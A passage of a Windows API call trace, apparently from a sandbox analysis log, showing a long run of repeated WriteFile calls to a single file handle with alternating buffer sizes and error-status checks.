[0103.509] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0103.534] GetLastError () returned 0x0
[0103.534] SetLastError (dwErrCode=0x0)
[0103.534] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0103.534] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0103.560] GetLastError () returned 0x0
[0103.560] SetLastError (dwErrCode=0x0)
[0103.561] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0103.561] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0103.586] GetLastError () returned 0x0
[0103.586] SetLastError (dwErrCode=0x0)
[0103.587] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0103.587] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0103.612] GetLastError () returned 0x0
[0103.612] SetLastError (dwErrCode=0x0)
[0103.612] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0103.612] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0103.734] GetLastError () returned 0x0
[0103.734] SetLastError (dwErrCode=0x0)
[0103.734] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0103.735] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0103.760] GetLastError () returned 0x0
[0103.760] SetLastError (dwErrCode=0x0)
[0103.760] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0103.761] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0103.828] GetLastError () returned 0x0
[0103.828] SetLastError (dwErrCode=0x0)
[0103.828] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0103.828] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0103.854] GetLastError () returned 0x0
[0103.854] SetLastError (dwErrCode=0x0)
[0103.854] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0103.855] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0103.921] GetLastError () returned 0x0
[0103.921] SetLastError (dwErrCode=0x0)
[0103.921] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0103.921] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0103.947] GetLastError () returned 0x0
[0103.947] SetLastError (dwErrCode=0x0)
[0103.947] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0103.947] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0103.973] GetLastError () returned 0x0
[0103.973] SetLastError (dwErrCode=0x0)
[0103.973] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0103.973] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0103.999] GetLastError () returned 0x0
[0103.999] SetLastError (dwErrCode=0x0)
[0103.999] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0103.999] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0104.024] GetLastError () returned 0x0
[0104.024] SetLastError (dwErrCode=0x0)
[0104.024] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0104.025] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0104.050] GetLastError () returned 0x0
[0104.050] SetLastError (dwErrCode=0x0)
[0104.050] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0104.051] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0104.077] GetLastError () returned 0x0
[0104.077] SetLastError (dwErrCode=0x0)
[0104.077] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0104.077] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0104.102] GetLastError () returned 0x0
[0104.103] SetLastError (dwErrCode=0x0)
[0104.103] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0104.103] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0104.128] GetLastError () returned 0x0
[0104.128] SetLastError (dwErrCode=0x0)
[0104.128] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0104.128] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0104.195] GetLastError () returned 0x0
[0104.195] SetLastError (dwErrCode=0x0)
[0104.195] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0104.196] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0104.262] GetLastError () returned 0x0
[0104.262] SetLastError (dwErrCode=0x0)
[0104.262] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0104.262] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0104.328] GetLastError () returned 0x0
[0104.329] SetLastError (dwErrCode=0x0)
[0104.329] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0104.329] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0104.350] GetLastError () returned 0x0
[0104.350] SetLastError (dwErrCode=0x0)
[0104.350] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0104.350] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0104.373] GetLastError () returned 0x0
[0104.373] SetLastError (dwErrCode=0x0)
[0104.373] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0104.373] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0104.571] GetLastError () returned 0x0
[0104.574] SetLastError (dwErrCode=0x0)
[0104.575] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0104.575] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0104.599] GetLastError () returned 0x0
[0104.599] SetLastError (dwErrCode=0x0)
[0104.600] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0104.600] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0104.625] GetLastError () returned 0x0
[0104.625] SetLastError (dwErrCode=0x0)
[0104.625] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0104.626] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0104.652] GetLastError () returned 0x0
[0104.652] SetLastError (dwErrCode=0x0)
[0104.652] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0104.652] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0104.790] GetLastError () returned 0x0
[0104.790] SetLastError (dwErrCode=0x0)
[0104.791] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0104.791] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0104.816] GetLastError () returned 0x0
[0104.816] SetLastError (dwErrCode=0x0)
[0104.816] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0104.816] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0104.842] GetLastError () returned 0x0
[0104.842] SetLastError (dwErrCode=0x0)
[0104.842] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0104.842] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0104.870] GetLastError () returned 0x0
[0104.870] SetLastError (dwErrCode=0x0)
[0104.871] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0104.871] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0104.939] GetLastError () returned 0x0
[0104.939] SetLastError (dwErrCode=0x0)
[0104.939] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0104.939] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0104.972] GetLastError () returned 0x0
[0104.972] SetLastError (dwErrCode=0x0)
[0104.972] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0104.972] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0104.997] GetLastError () returned 0x0
[0104.997] SetLastError (dwErrCode=0x0)
[0104.997] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0104.997] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0105.022] GetLastError () returned 0x0
[0105.022] SetLastError (dwErrCode=0x0)
[0105.023] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0105.023] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0105.089] GetLastError () returned 0x0
[0105.089] SetLastError (dwErrCode=0x0)
[0105.089] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0105.090] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0105.115] GetLastError () returned 0x0
[0105.115] SetLastError (dwErrCode=0x0)
[0105.115] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0105.115] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0105.140] GetLastError () returned 0x0
[0105.140] SetLastError (dwErrCode=0x0)
[0105.140] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0105.141] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0105.166] GetLastError () returned 0x0
[0105.166] SetLastError (dwErrCode=0x0)
[0105.166] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0105.166] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0105.192] GetLastError () returned 0x0
[0105.193] SetLastError (dwErrCode=0x0)
[0105.193] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0105.193] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0105.219] GetLastError () returned 0x0
[0105.219] SetLastError (dwErrCode=0x0)
[0105.219] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0105.219] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0105.244] GetLastError () returned 0x0
[0105.244] SetLastError (dwErrCode=0x0)
[0105.244] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0105.245] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0105.316] GetLastError () returned 0x0
[0105.316] SetLastError (dwErrCode=0x0)
[0105.316] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0105.317] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0105.383] GetLastError () returned 0x0
[0105.384] SetLastError (dwErrCode=0x0)
[0105.384] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0105.384] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
